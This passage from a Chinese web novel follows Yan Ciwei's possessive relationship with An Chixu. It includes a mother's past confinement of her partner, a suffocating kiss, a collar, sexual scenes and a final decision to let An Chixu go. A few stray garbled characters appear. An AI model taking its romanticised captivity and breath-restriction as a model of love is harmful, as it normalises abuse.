她表现得好像从来没有那一道隔阂,她和晏辞微就该这样腻歪。 咚。 晏辞微心脏收紧。心跳开始在她胸腔回响。 急促的鼓点只有她一个人听得见,怀里的小猫蜷缩成一团,又开始睡觉。 晏辞微指尖颤了颤,没有理由把安迟叙喊醒,只好等落地。 坐上车安迟叙打了个哈欠。 晏辞微把手机拿给她,她捏着手机打开也不知道做什么,盯着发呆。 晏辞微更无话可说。她总觉得只要开口,必定逃不过昨日的问题。 逃不过爱恨,也许她就要听见安迟叙亲口承认对她的恨。 工作上的事更没什么好说的。多无聊,就是些发生过无数次的利益纠纷。 手机屏幕熄灭了。 安迟叙又要闭上眼。她往晏辞微身上倒。 晏辞微按住她,没能接纳。 安迟叙迷迷糊糊的抬头。 “不要我了?” “怎么会……”晏辞微被她一句话吓得够呛,急忙抱紧她。 于是石子把她咯得更疼,出了血。她也只能忍耐。 “好困。”安迟叙溺在晏辞微的怀抱里,毫无防备,把自己交给她。 晏辞微看着她的头发。 被她保养了两个月,恢复光泽和厚度的头发。 安迟叙之前一定自己照顾的很差,两年了都没怎么长,如今两个月,又长了一截,可以编新发型了。 晏辞微看着她的脖颈。 毛毛躁躁的细碎短发扎在脑勺末尾,摸上去会有些刺,手感很奇妙。衣服之外的脖颈光洁,也很……细。 一只手就能握住,再轻轻用力。 安迟叙不设防。所以晏辞微可以尽情想象。 晏辞微看着她的背脊。 脊柱的弧线流畅,安迟叙没有多少肉,背很漂亮,骨头的形状突出恰到好处。也很……脆弱。 晏辞微拧眉了。 多奇怪。 可能安迟叙设想过无数次被晏辞微亲自了结的场面。 安迟叙曾说过一回,晏辞微了解她,能说出口的事她一定在脑海里排练过数百次。 晏辞微不知道安迟叙想象的时候抱着什么样的心态。 会害怕吗?还是心甘情愿?甚至有点兴奋? 啊擦喜喜是受害的那一方,可以尽情幻想加害她的爱人多强大,可以沉溺其中获得无法说出口的快感。她知道这是安全的幻想,现实中不会发生这样的事。 有的人就是喜欢被掌控。曾经的伤痛变为刺激神经兴奋的兴趣,她会主动寻求类似的事来获得存在的感觉。痛与爱等价。 可晏辞微没有想过亲手处理掉她养大的小猫。 这是第一次。 第一次叫晏辞微恐慌。 晏辞微闭上眼。 她不敢再想下去,血腥让人害怕。 也让人……兴奋。 …… 安迟叙是被晏辞微抱进屋子的。 四九城本就是晏辞微的大本营,晏辞微有挺多房产,安迟叙只去过其中一个,今天的算是第二个。 “待会儿跟我去开会。如果……你想做会议记录的话,也可以。我现在给你讲讲有什么人要参加?” 晏辞微把安迟叙放在床上,蹲下来给她换鞋。 安迟叙睫毛几乎盖住眼。 她不说话。 晏辞微停了手。 上一次有这样的感觉,是两年前。 那个冬天她强行带走了安迟叙,带她到四九城来参加她们的订婚宴。 订婚宴前两个小时,她给安迟叙换衣服的时候,就有同样的感觉。 好像安迟叙随时就要逃跑。她的灵魂先一步离开了牢笼,所以留下的肉.体不会回应。 晏辞微蹲低了些,仰起头去看安迟叙的脸。 安迟叙懒懒的抬了下眼皮。 “团团,可以吗?”晏辞微声音发抖。 也许昨夜她该把安迟叙喊起来。 也许她该道歉,该好好听安迟叙说话。 安迟叙还在她掌中吗? “嗯?”安迟叙终于回过神。 她好像真的很困。 困得快变成洋娃娃,不需要思考,不能活动,只有主人照料的布娃娃。 “什么呀,姐姐。”她还会笑呢。笑得和平日一样可爱,小雀斑在脸上跳起来,眼里闪着柔柔的光,灰调的眼眸清亮明媚。 “……跟我去开会。好吗?做回我的助理。帮我工作。”晏辞微忍不住把声音都放轻了。 好像眼前人已经是一道灰尘,用力就会被吹散。 她只是想道歉。 她和晏明琼不一样。她知道了,所以不会再把爱人关起来。 安迟叙不太听得明白。 怎么突然要她去工作?不是怕她累,怕她认识别人,跟着跑,所以禁止她一切社会活动? 这么突兀。安迟叙也没力气做啊。 “我想休息,姐姐。”她已经被调.教的很乖了。 不会去想着反抗,更不会上勾,让主人发觉她有不听话的痕迹,因此生气。 “可……”晏辞微哑口。 如果安迟叙自己也不想离开她圈下的笼子。 那她要如何证明她和晏明琼不一样? “我很累,姐姐。今天好像怎么都睡不够。带我去开会我会睡着的。” 安迟叙都懒得吐槽晏辞微安排有多不合理,又有多自以为是。 她看见晏辞微的表情变了又变。 突然变得很痛苦。 不要这样。 安迟叙抬手抚上晏辞微的脸。她感觉到一点退缩。 她放下冒昧的触碰,只望着晏辞微。 她已经在听话了。不会再反驳说很像,违抗晏辞微的话。 她甚至不去问晏辞微为什么要来四九城,为什么突然出差,又为什么非要让她做回那个助理。 她知道自己只能当一只小猫,那就呆在晏辞微身边。 为什么晏辞微还是不开心? “你……你不要恨我。”晏辞微眨眼,水光淋得黑眸发红。 她丢下一句莫名其妙的话,仓皇逃跑。 房间里只剩安迟叙一个人。 安迟叙躺在床上,把晏辞微给她换的鞋踢掉了。 她拿出手机,盯着屏幕发了会儿呆才想起来。 刚刚晏辞微是跪着对她说。 她求安迟叙。 不要恨她。 * * * 房间里有晏辞微准备的吃食。做的很精致,大概是晏家长雇的厨师做的。 安迟叙尝了一口,不是晏辞微的味道。 她吃了一点点就收起来了,窝在沙发里无所事事。 手机联系人只剩两个。 这会儿两个都在给她发消息。 安迟叙先点开晏辞微的聊天框,给她发去表情包。 开会也要打扰她。晏辞微会回的。 【团团,现在还好吗?还是很困吗?吃饭了吗?】晏辞微回的很快,满是关心。 【想你了。】安迟叙答非所问,趴在地上看晏辞微的头像。像学生时代那样等着晏辞微的回信。 【半个小时。我马上回来。】晏辞微其实并没有什么一定要来四九城做的事。 她只不过是……不想见到晏明琼。 晏明琼在四九城,她就逃去s市。 晏明琼赖在s市堵她,她就回四九城。 她逃的时候带上了她的小猫。 这是她的小猫,理应跟她一起走。 好像真的没有问过安迟叙的想法。每一次她都觉得,安迟叙会和她一起的。 看见消息,安迟叙情绪有一瞬的上扬。 很快就沉了下去。 安迟叙调动了一下还是高兴不起来。 她只好点进第二个聊天框。 安予笙的消息每次都一样。 这回也说想她,多少年没有见过了,能不能回家。 安迟叙扫了几眼不想回。闲着无聊,又没有办法。 只能问安予笙有没有什么事。 【没事,就是想你了。】很苍白的一句话。 安迟叙点回和晏辞微的聊天框。 她发现她没事也在想晏辞微。 两句思念肯定有一句是假的。 安迟叙想她的思念一定是真的。 所以开始等晏辞微吧。 安迟叙关上手机想寻找等待的幸福。 找啊找。 只得到一片空白。 晏辞微回家了,朝她伸出手。 “要不要出去玩?” 安迟叙迟疑着伸手,被握住时抽回。 “我有点累了。今天不想出门。” 晏辞微滞在原地。 * * * “不想我吗?”晏辞微抱着安迟叙。安迟叙坐在她怀里。 “想。”安迟叙本能作答。 谎言。 晏辞微识破了,呼吸一滞。 “给你买了新的饰品。要不要试试?” “不太想。已经够多了,之前买的还没戴完。”安迟叙想了想才回答。 晏辞微心跳也停了。 “有想做的事吗?姐姐陪你。” 安迟叙沉默下来。她好像很久没有想过这个问题了。 以前总有许多事想和晏辞微做。 哪怕都是晏辞微说的,她也认真记了下来。 她们的旅游,夜晚的漫步,去追海风,捡阳光。 在城市里也能找新的公园,走新的路上下学,看院子里新乔迁的鸟。 找一种她们都受得了的运动,找一座没有爬过的山。 安迟叙幻想过抱着晏辞微的腰在风里闯摩托。两个人一起蹬自行车。 半夜睡不着和晏辞微一起出门吃夜宵。 现在却哪一个都不想做。 “睡觉?”安迟叙睡了一天了。这会儿问起,还是只有这一件事想做。 “……团团!”晏辞微心抖了抖。 重新充血后恐惧顺着脚底一阵阵往上扑,扯得她浑身发麻。 “你,你怎么了?团团,你真的还好吗?”谁都看得出安迟叙不对劲。 或者,从很早开始,安迟叙就已经不对劲了。 她跟晏辞微对着干,总在不该打扰的时候弄坏晏辞微手里的正事。 偷看她的手机,工作和私人的聊天全部点开一遍。 在她发现,特地不关屏幕等着安迟叙去看之后,安迟叙将她全部的聊天记录都删掉了。 晏辞微备份过聊天记录所以无所谓。她想那只是安迟叙微不足道的反抗,不在意它过段时间就消停了。 现在她得到了她想要的。 却只觉得背后发凉。 安迟叙是在恨她吗? 怎么样才能让安迟叙不恨她…… “我没事啊。”安迟叙只是在听话而已。 听话的小猫哪儿有想做的事呢。 这是主人的工作。晏辞微才应该去想她们做什么。 “是还在生气吗?”晏辞微拉着安迟叙的手,又一次跪在地上,仰头看着安迟叙,希望能找到一个原因。 “没有,姐姐。我们没有吵架。”安迟叙被她牵着手,手指被捏的很重,却又不痛。安迟叙歪了头,不明所以。 “是被咬疼了吗?” “没有,姐姐咬得不重。” “那是不是饿了?冰箱里有饭菜,或者我给你做。” “我吃过了,姐姐。和你做的味道不一样。” “那姐姐陪你玩。有什么想看的,或者游戏?” “我玩一下午了,都好无聊。” “那是想我了,想不想要?今天都依你。” “昨天才做了那么多次,好累啊,姐姐,我做不动。” 晏辞微越问越急。 越说,安迟叙眼里的迷茫越重。 好像无端的雾从地面升起,拦在她们之间。 很早开始安迟叙就发现。她看不清晏辞微了。 这会儿睁眼,闭眼。 眼前只剩一片白茫。 耳边只剩呜咽的呢喃。 自己好像从这个世界上消失了。 ……也好。 晏辞微会来陪她的。 “团团!”晏辞微把安迟叙晃醒了。 硬生生将她的魂拽回来。 安迟叙一个激灵,眼里稍微起了点光。 “团团,能不能不要恨我?我……我知错了。对不起,我的团团,我不该跟你争。” 晏辞微第一次,向安迟叙道歉。 尝过爱之后,谁会想爱的人恨自己。 到头来晏辞微苦苦哀求,也不过是为了这件事。 “我,我只是不想你恨我……对不起。”好像说出来也没那么难。 承认自己的错误,没那么难。 “我真的很爱你。真的,真的……所以,不要恨我,好不好?”别的不愉快,是不是也像开口道歉一样简单? 只要跪在安迟叙面前,说出来就好了。 “可是,姐姐。”安迟叙心一砰,一砰。 缓慢的鼓点叫她有些不安。熟悉的痛苦就要席卷她全身,带着思想自我尊严一起。 安迟叙深吸一口气。 抑制住这股浪潮。 “我说你像晏明琼,只是在陈述事实而已。那不等于我要恨你啊。我只是……只是第一次见你母亲,觉得你和她很像,确实是母女。这不正常吗?”所以安迟叙也不理解晏辞微昨日的执拗。 她只是不再去想,选择了顺从。 “那……”晏辞微怔愣着落下去。跪坐在地板上。 安迟叙不正常。她要是爱她,一定会拉她起来。 一定会关心她,安慰她。 晏辞微屏住呼吸把这奇怪的想法挖出去。 …… 好像,是她不正常。 今天总觉得安迟叙奇怪。 总觉得安迟叙在和她作对。 总觉得安迟叙不听她的话。 可平时,她们不都是这样相处的吗? 她的团团一直都是呆呆木木的,喜欢跟着她走,做她的小尾巴。 她应该去牵引她的宝贝,搂着她前进或后退,带着她体验生活。 晏辞微眨眼抬头。 看见了安迟叙眼里的关切,被压抑的弱光。 晏辞微忽然捂住嘴。 把干呕忍下去,把眼泪忍下去。 却无法再无视终于击中她的情绪。 情绪是双向的。她在以己度人。 原来只是,她在恨安迟叙。 * * * 晏辞微吻住安迟叙的唇。 带着浓浓的恨意。 为什么总在和她作对? 撕咬化作舔舐、纠缠。 安迟叙的手被她强行拉到腰上,扣紧。 为什么不能假装什么都没有发生,老实听她的话? 吻一层层加深着,从齿尖向喉头迸发。 安迟叙的舌成了某种美食,晏辞微咀嚼她的血肉。 为什么不能好好爱她? 晏辞微咬疼安迟叙的舌尖。 安迟叙闷哼一声,抓住晏辞微的腰。 为什么和她在一起的时候不能开心? 晏辞微拧住安迟叙的手腕,轻巧的推开。 安迟叙被她压在怀里,一次呼吸快要喘不上去。 为什么要不满意她的安排? 安迟叙胸腔在急速起伏。她想要氧气,想要活命。 晏辞微只是再次堵住她的唇瓣,用呼吸闷住她的鼻。 为什么要自顾自的逃走,留下她一个人迷路? 安迟叙揪住晏辞微的胳膊,脸色的潮红慢慢褪去,只剩窒息的白。 晏辞微终于松开她,还她呼吸的权力。 安迟叙不断喘着气,眼角泌出一滴泪。 她默默抬眸望向晏辞微。浅薄的恨意活了过来。 现在她们是对等的,彼此恨着本该最爱的人。 晏辞微弯了眉眼,束住安迟叙的手,摘下她手腕上的银饰,抚摸凹陷的字母。 “戴上吧。”项.圈落在安迟叙手里。 安迟叙垂眸,温温吞吞的,抬手听令。 她再次被吻住,这次比上次更激烈。 好像她不给晏辞微戴好项圈,这个吻就不会结束。 哪怕她们两个就这样窒息在热吻里,也无妨。 晏辞微多疯啊。 安迟叙艰难的动作,发着抖。血液却兴奋的活过来。 她会溺亡在晏辞微的爱里。 却能在晏辞微的恨中涅槃。 项圈吧嗒一声扣紧。 安迟叙勒住晏辞微的脖颈,牵住她向下。 晏辞微轻哂,吻住安迟叙的手腕,重新将她提起。 最疯狂的一曲里。 晏辞微自述着最狼狈的质问。 为什么……要揭穿她最隐秘的难看? 她就是,变成了她这辈子最讨厌,最恨的人。 她是晏明琼的女儿,留着晏明琼的血。 她就是和晏明琼一模一样。 为什么要逼她直面这最丑陋的事实? 多恨啊。 …… 晏辞微沉沉睡去。所有的不安、烦恼、痛苦,都在方才短暂消逝。 吻热将一切藏匿。 安迟叙静默的坐在陌生的房间里,看着唯一熟悉的人,眼神流转。 她打开晏辞微的手机。上次被发现过后删了她一次聊天记录,竟然什么都没发生。 这次…… 安迟叙对准自己和晏辞微紧紧牵在一起的手,拍了照。 她把照片发给了晏明琼。 * * * 晏明琼当晚回了四九城。 第二天晏辞微看见聊天记录,默然抬头看向安迟叙。 安迟叙只冲她摆出一个笑。 如常的笑。在此刻叫晏辞微起了一身鸡皮疙瘩。 安迟叙已经把自己学去了十分。 她们就好像成了一个人。 “我去见母亲。”晏辞微也笑了。 走到安迟叙面前,像什么都没有发生。 抚过安迟叙的头发,然后是脸。 然后摘掉发饰、首饰、戒指。 解开她的衣扣、拉链。 晏辞微走。还带走了一部分的安迟叙。 安迟叙静静坐在原地,目送她离去。 这是安迟叙的第三次反抗。 也是晏辞微的第三次拒绝。 晏辞微恨也要把安迟叙绑在身边。 这是安迟叙最大的疏漏。 晏辞微坐在车上想,安迟叙恨她也没关系。她恨安迟叙也没关系。 只要她们一直在一起就好了。 直到她们谁也受不了谁,将对方杀掉。 那样下地狱,她们也会一直在一起。 晏辞微进了老宅。 初中离校之后,她几乎没再踏入过这生长的地方。 晏明琼有话想说。 晏辞微却不打算先去见她,只是走向阳光房。 出乎意料的。裴绮玲不在阳光房。 晏辞微在阳光房里搜了一圈,又进了裴绮玲原本的卧室。 怎么也没找到人。 “她今天不在。”晏明琼幽幽的,不知何时来到晏辞微身后。 晏辞微顿了顿,关上阳光房的门。 晏明琼也没再打开。她们都站在裴绮玲最爱的阳光房里,不看彼此,都在感受裴绮玲的气息。 很淡了。晏辞微童年吻过的香水味几乎散去,空气中酿出薄薄一层灰。 裴绮玲已经很久没有在阳光房里呆过了。 “你放她走了。”晏辞微不明白。 既然她和晏明琼一样。 晏明琼为什么舍得放裴绮玲离开? 晏辞微可是恨也要拉着安迟叙一起恨。 她们走黄泉路要一起,下地狱也要一起。 晏辞微绝不允许安迟叙一个人做没有她存在的事。 “那你呢?”晏明琼没有解答女儿的疑惑。 晏辞微身上没有一处长得像裴绮玲。 桃花眼、红痣、高鼻梁……倒是像晏明琼的翻版。 晏明琼所以不喜。看着晏辞微总像在看另一个自己。 哈。多可笑。 她们这辈子最讨厌的人都是自己。 如果晏明琼也有自己的布娃娃,她会毫不犹豫的把它撕成碎片。 其次是彼此。 如果有一把刀在手里而杀人不犯法,她们不顾会被捅的危险也要把刀扎进对方体内。 她们真是一对母女。 “还没有和她分手吗?”晏明琼坐了下来。 她在女儿面前永远是上位者。所以自在,毫不掩饰。 晏辞微竟也学去三分。 她也坐下,挺随意的拿出水果烟。 既然裴绮玲不在阳光房生活。那她也可以不在乎晏明琼的感受了。 “我为什么会和她分手?”晏辞微反问,吸一口。 慢慢吐出。 安迟叙回来之后,她太久没尝这味道,竟有些陌生了。 “你以为她为什么给我发照片?”晏明琼意外没有动情绪,语气稳定。 晏辞微捏着水果烟。 指尖用力到泛白。 “炫耀吧。都知道你和妈妈关系不好。” “呵。”晏明琼还是没能控制住情绪。 晏辞微的话令她发笑。不怀好意的那种。 刺激得晏辞微又不耐烦。想掐着烟走。 可这里是裴绮玲的阳光房。 晏辞微望了一眼熟悉的陈设就有些不舍。如果她们之中有一个人要走,那也该是晏明琼,而不是她。 妈妈不喜欢晏明琼。 但妈妈喜欢她啊。 裴绮玲会抱着晏辞微给她讲故事,讲道理。 会梳晏辞微的头,温柔的哼歌给她编辫子。 如果裴绮玲离开了,那阳光房一定会留给晏辞微。 这里将是她的私人财产。她总要带她的团团来看一次。 “她在寻求出路。你别告诉我你看不出来。”晏明琼似乎看破了晏辞微的想法,也就把话摊开,说穿。 “她很明显在求救。无论是宴会上说的话,还是给我发照片的动作。你不该继续困着她。” 昨日晏明琼想和晏辞微说的,也只是这一点。 不要再犯错了。 晏辞微却不听她的。眼神锐利,针锋相对。 她确实拿出她在谈判桌上的态度,只不过,是面对准备跟她抢单子的人的那种。 “你又知道了。她凭什么不能是真心觉得,凭什么不能是炫耀?”晏辞微刺了一句。 “是因为你和妈妈没有过吧?所以你忮忌我。”晏辞微的笑很像蛇了。 眯着眼,瞳孔很浅,带着痣的猩红。嘴唇的弧度不像活人的笑,凄凄的瘆人。 她把这招用在晏明琼身上。希冀她恼羞成怒。然后再刺激她几句,潇洒离开。 晏明琼却忽然沉默下去。像被冰原一瞬化作冰雕,浑身上下的活气就此凋亡。 “……她走过。”晏明琼再抬眸,两眼无神。 说出的话更叫晏辞微惊讶。 “她从我身边逃走过。”晏明琼木一双眼,好像在给晏辞微讲,又好像在讲给自己听。 没有谁知道这段过往。晏明琼不曾对外宣传,裴绮玲也没有告诉过晏辞微。 晏辞微第一次了解她母亲和妈妈的过去。 “彻底的。一句话也不说。她没有死心的宣泄,没有计划,没有告诉过任何人。就这样在某一天清晨消失了。” “她的东西也没有带走。好像只是出门买个早点。钱也没有拿走,好像只是下楼去倒垃圾。她走的太突然,以至于我朋友听见都以为我在开玩笑。” “她走之前一天的晚上我们还做了。很亲密,很愉快。她还反复亲吻我,好像她真的爱我一样。说了那么多情话,爱我一遍又一遍。我信了,安心睡去。在那之前有一周了,我没有在睡觉时给她系绳子。我想着她已经想通选择了爱我,怎么会走。” “可她就是离开了。只有她这个人,她的身体离开了。甚至她的灵魂都好像留在我们的家,陪在我身边。我做每一件事都好像还能和她一起,用每一样东西都还有她的一半。我给她的照片也还在钱包里,她像顽皮的小孩一样把身份证也丢给我,让我给她收拾。” “就好像……她是死了。死的突然,人间蒸发。我找遍我们去过的,她生活过的地方,找不到她。我找遍她不曾去的,不敢去的地方找不到她。哪一个角落都没有她的身影。我一个人在家崩溃了整整半年。” “然后我想到一个办法。”晏明琼顿了话头,看向晏辞微。 晏辞微捏住衣角。她听呆了,水果烟都忘了灭。 甜辣的味道往她鼻尖钻,怎么也破不开她发怔的脑,血脉的屏障。 “我偷偷存过她的基因,所以有了你。我怀孕的时候她不在身边。我的母亲怨我,不理解我。我的妹妹彼时不在国内,接到消息后赶回来,是我孕吐住院了。” “怀你的时候你太折磨人了,什么都不好,发育落后,指标不达标,总是让我这儿疼那儿疼,吃不下饭睡不着觉。我想过不要你。如果不要你,我可能也不会继续活下去。有了你才有可能找回我的爱人。你确实是我用来唤回她的唯一可能性。那时是我妹妹救了我。” “没有我妹妹就没有你。没有她,可能也没有我了。你总是问我为什么要照顾她的孩子。我只能这么给你答案。” 晏明琼的双眼没有光。漆黑的一片比深渊还可怕。 她说话的动作也机械了,好像谁给她设定了任务,一定要顶着死寂的情绪完成。 晏辞微不想听了。 她别开脸,看向这间困住裴绮玲的阳光房,终于不止看见了毛线团、画笔,妈妈的温柔,慵懒的阳光和植被。 晏辞微看见了墙上一排排的涂鸦。 裴绮玲是个画家。 她所有情绪都开画来宣泄。那些画是黑色的紫色的红色的。像有人抓着血肉做的墙壁哀嚎痛哭,求饶。 墙壁变成了一尊关住裴绮玲的大佛。佛祖有没有血肉之躯裴绮玲不知道,她只知道每次她情绪发作,醒来都会看见墙壁在渗血。 她画的血,她流的血,她的血。 她流多少血都逃不出去。她把自己变成干尸也只能死在阳光房里。 “她恨我。”晏明琼说这句话的时候也没有情绪。 好像被恨了很多年的人都会变成这副模样。 像可怜的团团,麻木到不得不说服自己这是正常的,这是爱。 “别以为她对你好就是爱你。她一样恨你。我们都是她人生路上的绊脚石,而她真的被我绊倒了。”这句话终于带了点私人情绪。 却说是晏辞微不能接受的话。 晏辞微的水果烟摔在地上。 粉红色的外壳四分五裂,散在地面好像新鲜的血液。 地上也有裴绮玲的宣泄。丑陋的黑线画出一个又一个怪物的脸。 在她看来这些可怖的造物伴她入睡,至少也比看着晏明琼更好。 现在裴绮玲的守护鬼流血了。 晏辞微的血。 “我利用了她的责任感。她想要回来养育你。所以我把她关了起来。刚开始的那几年我们相处很差,她不喜欢我,连带着我也不喜欢你。其实我没想过让你们有接触。她求我能不能每天至少照顾你半个小时。” 之后是很长的死寂。 晏明琼似乎讲完了,看着地面上漆黑的鬼脸,裂开的烟壳,一动不动,静默如死。 晏辞微唇瓣颤动着,一句话也说不出来。 她以为至少……裴绮玲有过开心的时候。 她以为裴绮玲是因为爱才留下的。 就像她的团团。团团有无数次机会可以逃跑,但她选择了留下。 就是因为爱。 恨的底色是爱。所以再恨她们也要一直在一起。 没想到是因为自己。 晏辞微甚至想笑。她还以为晏明琼如此恨她是因为什么。 原来从头到尾,她都不是在晏明琼和裴绮玲期待下出生的。 她只不过是一样工具。 晏明琼挽回裴绮玲的工具。 晏辞微却咬紧嘴角。 酸痛感快要崩塌。她笑不出来哭不出来。 晏明琼终于动了。 她掏了下衣兜,拿出一张类似演讲稿的东西。 看了一眼,才又说。 “我们最近在办离婚手续。你是我们错误的延续。如果你不想让那个孩子也变成你妈妈那样。那就放她走吧。”晏明琼只想说这个。 她怕自己发火,怕自己理不清楚。怕自己一看见晏辞微就会和她吵架,才写了这么一个演讲稿。 晏辞微把这张稿子从晏明琼手里扯了过来。 方才讲过的内容以更清晰,更直白的方式印在晏辞微脑海里。 晏辞微忽然想起两年前的一件事。 她失去了团团,被晏明琼关在家里。 只有裴绮玲来看过她。悄悄的,躲着晏明琼的耳目,半夜三更敲开她的窗户。 在那么多件坏事发生之后,这是唯一的好。 晏辞微打开窗户迎接妈妈,向她伸出手讨要一个拥抱。 裴绮玲在月光下抱住她唯一的女儿,依旧和从前一样温柔,将晏辞微放在自己的腿上,任她趴着。 “你说……她为什么要和我分手?”晏辞微的迷茫有了去处。 她不管不顾的把它砸向裴绮玲,用出浑身力气来演出,希望得到裴绮玲的安慰。 裴绮玲只是笑着。如水温柔,也似水无情。 她摸了晏辞微的头好一会儿才开口。声音也轻柔的像一支歌。 “你希望她成为下一个我吗?”裴绮玲看着晏辞微。 这是她唯一的女儿,却太像晏明琼。 做晏明琼的爱人只有一个结果。 晏辞微不明白。她相往裴绮玲的眼,裴绮玲的温柔,渴望裴绮玲的爱。 裴绮玲在她心中就是最好的存在。 如果安迟叙变成裴绮玲……那,有什么不好? 晏辞微希望安迟叙可以成为她的裴绮玲。 “不好吗?妈妈不幸福?”很好很好的裴绮玲,应该很幸福才对。 那天晚上月光很浅。 轻柔的,成为盖在裴绮玲头发上的纱。修饰她双眼的光点。 裴绮玲的手搭在晏辞微头上,默然许久。 “幸福啊……我只是离??不开她。” 晏辞微在两年后终于读懂裴绮玲的言外之意。 和晏明琼在一起从来不是裴绮玲的选择。 她不幸福。 她只是被圈养太久,离不开晏明琼了。 晏辞微失了力气。 浑浑噩噩的,走出阳光房。 她回过头,看向在里面对着画作静默的母亲。 第一次发觉。 这间阳光房这么丑。 * * * 晏辞微回到自己的家。 打开门,鞋还在。包还在。安迟叙的味道还在。 晏辞微却不敢放松,疾步走到卧室。 安迟叙还在。 她坐在晏辞微走之前把她放下的位置,整个早上一动也不动。 晏辞微步伐顿了。 前也不是,后也不是。安迟叙肯定听见她回来。却没有转身,依旧木木的看着墙。 安迟叙好像,真的不太开心。 比起工作的那几个月晏辞微观察到的情况,安迟叙呆了很多,偶尔看见她,也得愣着反应一会儿才会有笑。 可是,可是…… 可是她那么爱安迟叙。 要她就这样放手吗? 安迟叙反应结束了。 她侧过头看向晏辞微,弯出一个笑。 一个……裴绮玲模样的笑。 晏辞微心跳都被吓停了。 她急忙张望,在卧室的墙壁上看见血,在床上看见嘶吼的涂鸦,在地面上看见鬼脸。 再眨眼,她什么都没看见。卧室是干干净净的卧室。坐在床上等着她的姑娘,也干干净净的。 她的姑娘摆出一个笑。 她在爱她。 像裴绮玲一样爱她。离不开她。 晏辞微几步趔趄,摔上了床,又被安迟叙拉住手臂。 安迟叙轻轻扯了扯,想和她亲密。 晏辞微急忙往后退。 安迟叙歪了下头,不太明白一样。 安迟叙永远是对的。 晏辞微终于承认,安迟叙就是她的裴绮玲。她在用晏明琼对待裴绮玲的方式,无止境的伤害她的爱人。 如果不现在停手。安迟叙总有一天会变得和裴绮玲一样。 不幸福。只是离不开她。 说恨也能一直在一起。都是骗人的。 她们会恨得撕心裂肺,把最后一点爱耗尽,因为没有小孩的责任,早早离婚。 晏明琼也没能做到在恨里长久的关着裴绮玲。 那晏辞微也做不到。 以前晏辞微最怕安迟叙离开。 离开了,世界上就没有第二个爱她的人了。 现在晏辞微怕安迟叙离不开。 离不开,安迟叙会失去笑容,失去光泽,失去她想要呵护的一切。 “……对不起。”晏辞微颤抖着,捧住安迟叙的手,放在脸上。 她该把自由还给她—— 作者有话说:终于写到了(其实不然,因为内容太多,想写完上头了写了整整一天累死过去,一看大纲竟然还有一张车没写,得下一章继续) 恭喜二位分手(好像恭喜很多次了)(但这次是真的!) 接下来晏辞微要消失1-2章,团团要换地图,开始她的养老带娃生活了(?) 如果剧情上有bug记得敲评论区,我去修 第63章 第 63 章 安迟叙,再见。 计划成功了。 安迟叙的掌心贴着晏辞微的脸, 随她一同轻颤。 晏辞微的脸很烫。却没有多少血色,白如鬼影。 眼波也颤抖着,摇曳像潭水折射的光影。潭水幽深, 有藻荇的红。 不见底的深潭带着浓重的悲伤。 像引诱过上百位有情人跌落、分离。 安迟叙看懂了晏辞微的道别。 一声“对不起”, 是她能说出最直白的“再见”。 安迟叙该高兴的。 她忍不了被圈养的日子,惰性的本能又叫她依赖成瘾。 戒断不能的痛苦时刻拉扯着她,要她做下反抗,又把反抗变得微不足道。 她好像那猫儿生气了给主人一爪子。 低头细看,连指甲都没伸, 只是拍了拍。 可这会儿, 她望进晏辞微的深潭。 只觉得自己也是那溺亡的有情人。 被潭水淹没口鼻, 缺氧的感觉怎么可能好。 安迟叙感觉不到高兴。 她的灵魂深处只有空虚, 空虚只有一个人能点燃, 点燃的火会波及她残缺的心脏。 最终烧死她。 和晏辞微在一起她才能幸福。 可离开晏辞微她才能成为一个人。 自由完整的人。 安迟叙深呼吸,心肺都在颤抖。仿佛真的有人将她按在水里。 她保持这份痛苦,稍稍向前。窒息的灼烧感始终漫着她的喉头,原来空虚也是一种火。 晏辞微抱住她。 她张口吻住晏辞微的唇。 安迟叙终于明白自己浸入的是什么。 羊水。 她唯一可以呼吸的深潭。不过是母亲的子宫, 母亲的羊水。 安迟叙在接吻时大口吸着气。要把晏辞微都吸干。 晏辞微双手掐着她的腰, 却没有力气。比以往都更温柔。 也更顺从。 她躺在安迟叙身下,安静的流着泪, 等安迟叙给她宣判死刑。 安迟叙只是舔过她的眼泪。 人从出生开始就不会再尝到母亲的羊水。 十个月的朝夕相处, 一百年的永久分离。 安迟叙舔着晏辞微的泪好像在吃永远尝不到的羊水。 激烈到晏辞微流出更多眼泪。 她颤着手抱紧她的团团。 回应起安迟叙。 安迟叙亲吻她的眼角。她便吻过安迟叙的发梢。 安迟叙第一次发现自己发梢也有神经分部。 感官异常明显,以至于她也颤抖起来。 安迟叙呼出气,稍稍起身看向晏辞微。 她最熟悉的眼如今朦胧成最陌生的模样。 怪可怜的包着流也流不完的泪。 神情满是渴望、恳求。 却有一分克制。 就是这一分克制叫安迟叙愣了去。 她从未在晏辞微身上见过这个词。 晏辞微向来是想要什么就能得到什么的。 晏辞微想养一只完全属于她的小猫。 于是捡到了安迟叙。 晏辞微想要她们相爱。 于是安迟叙在那个秋日忐忑的跟晏辞微告了白。 如今晏辞微想要安迟叙留下。 她的泪水足够直白。 她的眼神却克制着。 没有说出口。 安迟叙的鼻尖也发酸了。 “妈咪……”她轻唤着。如果晏辞微开口。她会留下的。 晏辞微摇头, 反而给她一个笑。 泪水更多的从眼眶挤出来。 “别,怕。”晏辞微的声音都哑了。 她一定哭了很久,克制了很多。 “做你想做的。”如今她真的是包容的母亲。 不再引导她长大的女儿。 只给她十分之十的自由。 安迟叙眨眼。 她看清了身下的晏辞微。 她的晏辞微已经不是十六岁的少年了。 也不似十八岁那会儿古灵精怪, 更不是二十岁那会儿意气风发。 晏辞微也累了。 她有了一层浅浅的黑眼圈。 眼角染上长期微笑的细纹。 眼眸的颜色更深邃,黑不见底。 倒是那颗红痣更亮,像第三个眼,愣愣的盯着安迟叙。 安迟叙看了她很久。 这种时候她不该一直愣着。 那样晏辞微多可怜,满身空虚只能等着安迟叙来填。 可晏辞微没有动。安迟叙想看,她也便看着安迟叙。 两个人都要把彼此深深的印在脑海里。从五官到脸上的细纹,从脸蛋到身体。 安迟叙终于挪动。仔细的抚摸过晏辞微的身,亲吻每一处。 安迟叙想记住晏辞微。 她新生后的全部,她唯一的所有。 等她们真正分开,她就真的,什么也不剩了。 有意识的离别,清醒的再见。不知道会持续多久。 也许明天她们还会重逢。 也许她永远都不会再见到她。 安迟叙吻遍了晏辞微的全部。 开始轻轻的,咬她。 她会想她的。 安迟叙咬过晏辞微的疼痛。 晏辞微搭在她腰上的指尖不断战栗着,却不收。 她们还像以前那样,安迟叙总忍不住咬她,像个没长大的小孩。 这一次给她的小孩哺乳,却是离别的前奏。 晏辞微也干脆,抓着安迟叙的背。 